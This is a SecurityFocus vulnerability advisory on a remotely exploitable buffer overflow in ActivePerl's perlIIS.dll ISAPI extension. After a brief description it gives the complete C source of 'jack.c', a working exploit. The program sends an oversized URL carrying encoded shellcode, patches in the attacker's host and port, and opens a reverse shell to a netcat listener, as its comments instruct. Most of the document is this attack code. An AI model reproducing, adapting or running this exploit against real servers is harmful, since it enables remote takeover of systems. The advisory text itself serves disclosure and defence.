source: http://www.securityfocus.com/bid/3526/info

ActivePerl is an implementation of the Perl scripting language for Microsoft Windows systems developed by Activestate. ActivePerl allows for high-performance integration with IIS using a DLL called 'perlIIS.dll' to handle a '.plx' ISAPI extension.

perlIIS.dll contains a remotely exploitable buffer overflow vulnerability in handling of the URL string. It is due to an unbounded string copy operation.

All versions of ActivePerl prior to build 630 of ActivePerl 5.6.1 are believed to be vulnerable. This vulnerability requires that the option "Check that file exists" be disabled. This option is enabled by default.

Exploitation of this vulnerability may allow for remote attackers to gain access to the target server.

Jack for Linux:


/*	jack.c - Active Perl ISAPI overflow exploit by
Indigo <indig0@talk21.com> 2001

	Usage: jack <victim host> <victim port>
<attacker host> <attacker port>

	Before executing jack start up a netcat
listener with the port set to 'attacker port'

	eg:	nc -l -p 'attacker port'

	You may need to hit return a few times to
get the prompt up

	main shellcode adapted from jill.c by dark
spyrit <dspyrit@beavuh.org>

	Greets to:

	Morphsta, Br00t, Macavity, Jacob &
Monkfish...Not forgetting D-Niderlunds
*/

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>

int main(int argc, char *argv[])
{
unsigned char shellcode[] =

"\x47\x45\x54\x20\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f"

"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x8b\x94\xf8\x77\x42\x42\x42\x42"

"\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3e\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x55\x3d\x97\x94"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33"
"\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0"
"\xeb\xb9\x90\x90\x05\x31\x8c\x6a"

"\x2E\x70\x6C\x20\x48\x54\x54\x50\x2F\x31\x2E\x30\x0D\x0A\x0D\x0A\x00";

        int                     s;
        unsigned short int      a_port;
        unsigned long           a_host;
        struct hostent          *ht;
        struct sockaddr_in      sin;

printf ("\njack - Active Perl ISAPI overflow launcher\nby Indigo <indig0@talk21.com> 2001\n\n");

	if (argc != 5)
	{
		printf ("Usage: %s <victim host> <victim port> <attacker host> <attacker port>\n", argv[0]);
		exit (1);
	}

        if ((ht = gethostbyname(argv[1])) == 0){
                herror(argv[1]);
                exit(1);
        }

        sin.sin_port = htons(atoi(argv[2]));
        a_port = htons(atoi(argv[4]));
        a_port^=0x9595;

        sin.sin_family = AF_INET;
        sin.sin_addr = *((struct in_addr *)ht->h_addr);

        if ((ht = gethostbyname(argv[3])) == 0){
                herror(argv[3]);
                exit(1);
        }

        a_host = *((unsigned long *)ht->h_addr);
        a_host^=0x95959595;

        shellcode[745]= (a_port) & 0xff;
        shellcode[746]= (a_port >> 8) & 0xff;

        shellcode[750]= (a_host) & 0xff;
        shellcode[751]= (a_host >> 8) & 0xff;
        shellcode[752]= (a_host >> 16) & 0xff;
        shellcode[753]= (a_host >> 24) & 0xff;

        if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
                perror("socket");
                exit(1);
        }

        printf("\nSending exploit....\n");

        if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){
                perror("connect");
                exit(1);
        }

        write(s, shellcode, strlen(shellcode));
        sleep (1);
        close (s);

       	printf ("Exploit sent.\n\n");

        exit(0);
}

